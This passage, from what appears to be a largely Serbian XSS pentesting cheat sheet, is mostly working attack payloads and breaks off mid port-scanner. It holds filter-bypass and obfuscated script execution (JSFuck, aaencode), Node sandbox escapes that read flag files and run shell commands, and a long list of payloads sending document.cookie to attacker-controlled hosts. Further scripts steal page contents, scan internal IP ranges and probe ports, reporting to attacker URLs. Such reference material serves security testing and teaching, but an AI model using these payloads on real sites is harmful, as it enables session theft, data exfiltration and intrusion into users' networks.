onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Proizvoljan poziv funkcije (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Postoji JS code koji koristi nesigurne podatke koje kontroliše napadač kao što je location.href. Napadač to može iskoristiti za izvršavanje proizvoljnog JS koda.
Zbog obimnosti objašnjenja DOM vulnerabilities it was moved to this page:
Tamo ćete naći detaljno objašnjenje šta su DOM vulnerabilities, kako nastaju, i kako ih eksploatisati.
Takođe, ne zaboravite da na kraju pomenutog posta možete naći objašnjenje o DOM Clobbering attacks.
Nadogradnja Self-XSS
Cookie XSS
Ako možete izazvati XSS slanjem payload-a unutar cookie-ja, to je obično self-XSS. Međutim, ako nađete poddomen ranjiv na XSS, možete iskoristiti taj XSS da ubacite cookie za ceo domen i tako pokrenete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
Možete naći odličan primer zloupotrebe ove tehnike u this blog post.
Slanje vaše sesije administratoru
Možda korisnik može podeliti svoj profil sa administratorom, i ako je self XSS unutar profila korisnika, kada administrator pristupi profilu on će pokrenuti ranjivost.
Session Mirroring
Ako pronađete neki self XSS i web stranica ima session mirroring for administrators, na primer omogućava klijentima da traže pomoć i kako bi admin pomogao, on će videti ono što vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati administratora da pokrene vaš self XSS i ukrasti njegove cookies/sesiju.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
Kada web aplikacija koristi Emscripten/WASM, konstantni stringovi (kao HTML format stubovi) žive u zapisivoj linearnoj memoriji. Jedan in‑WASM overflow (npr. unchecked memcpy u edit path) može korumpirati susedne strukture i preusmeriti upise ka tim konstantama. Prepisivanje template-a poput “” pretvara sanitizovani input u JavaScript handler vrednost i odmah dovodi do DOM XSS prilikom renderovanja.
Pogledajte posvećenu stranicu sa exploitation workflow-om, DevTools memory helpers i odbranama:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Možete proveriti da li se reflektovane vrednosti unicode normalizuju na serveru (ili na klijentskoj strani) i iskoristiti ovu funkcionalnost za zaobilaženje zaštita. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Zbog RoR mass assignment navodnici se ubacuju u HTML, pa se ograničenje navodnika zaobilazi i dodatna polja (onfocus) mogu biti dodata unutar taga.
Primer forme (from this report), ako pošaljete payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Par “Key”,“Value” će biti vraćen ovako:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Zatim će biti umetnut atribut onfocus i doći će do XSS-a.
Posebne kombinacije
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Ako otkrijete da možete inject headers in a 302 Redirect response možete pokušati da make the browser execute arbitrary JavaScript. Ovo nije trivijalno jer moderni browseri ne interpretiraju telo HTTP odgovora ako je HTTP response status code 302, tako da sam cross-site scripting payload nije koristan.
In this report and this one možete pročitati kako možete testirati nekoliko protokola unutar Location header i videti da li neki od njih dozvoljava browseru da inspect i execute XSS payload unutar body-ja.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
Ako možete odrediti callback koji će javascript execute ograničen na ta slova. Read this section of this post da saznate kako zloupotrebiti ovo behaviour.
Valid <script> Content-Types to XSS
(From here) Ako pokušate da load-ujete script sa content-type kao application/octet-stream, Chrome će baciti sledeću grešku:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipovi skripti za XSS
(Iz here) Dakle, koji tipovi mogu biti navedeni za učitavanje skripte?
<script type="???"></script>
- module (podrazumevano, nema šta objašnjavati)
- webbundle: Web Bundles je funkcija koja vam omogućava da paketirate skup podataka (HTML, CSS, JS…) zajedno u
.wbnfajl.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Omogućava poboljšanje import sintakse
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Ovo ponašanje je iskorišćeno u this writeup da bi se preusmerila biblioteka na eval kako bi zloupotrebom toga moglo da se pokrene XSS.
- speculationrules: Ova funkcija je uglavnom namenjena rešavanju nekih problema izazvanih pre-renderingom. Radi ovako:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types to XSS
(From here) Sledeći Content-Types mogu izvršiti XSS u svim pregledačima:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? nije na listi ali mislim da sam ovo video u CTF-u)
- application/rss+xml (off)
- application/atom+xml (off)
U drugim pregledačima drugi Content-Types mogu biti iskorišćeni za izvršavanje proizvoljnog JS-a, pogledajte: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Ako stranica vraća text/xml content-type, moguće je naznačiti namespace i izvršiti proizvoljan JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Posebni obrasci zamene
Kada se koristi nešto poput "some {{template}} data".replace("{{template}}", <user_input>). Napadač može upotrebiti special string replacements da pokuša zaobići neke zaštite: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Na primer u this writeup, ovo je korišćeno da bi se escape-ovao JSON string unutar script-a i izvršio proizvoljni kod.
Chrome Cache do XSS
XS Jails Escape
Ako imate ograničen skup karaktera za upotrebu, proverite ova druga validna rešenja za probleme sa XSJail-om:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Ako je pre izvršavanja nepouzdanog koda everything is undefined (kao u this writeup) moguće je generisati korisne objekte “iz ničega” da bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
- Korišćenjem import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Indirektan pristup
require
According to this moduli su od strane Node.js umotani unutar funkcije, ovako:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Dakle, ako iz tog modula možemo pozvati drugu funkciju, moguće je iz te funkcije koristiti arguments.callee.caller.arguments[1] da pristupimo require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Na sličan način kao u prethodnom primeru, moguće je use error handlers da pristupite wrapper modula i dobijete require funkciju:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Različite obfuscations na jednoj stranici: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Još sofisticiraniji JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Uobičajeni XSS payloads
Više payloads u 1
Iframe zamka
Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete njegove akcije (uključujući informacije poslate u formama):
Preuzimanje Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Nećete moći da pristupite cookies u JavaScript-u ako je HTTPOnly flag postavljen u cookie. Ali ovde imate some ways to bypass this protection ako imate sreće.
Krađa sadržaja stranice
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Pronađi interne IP adrese
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
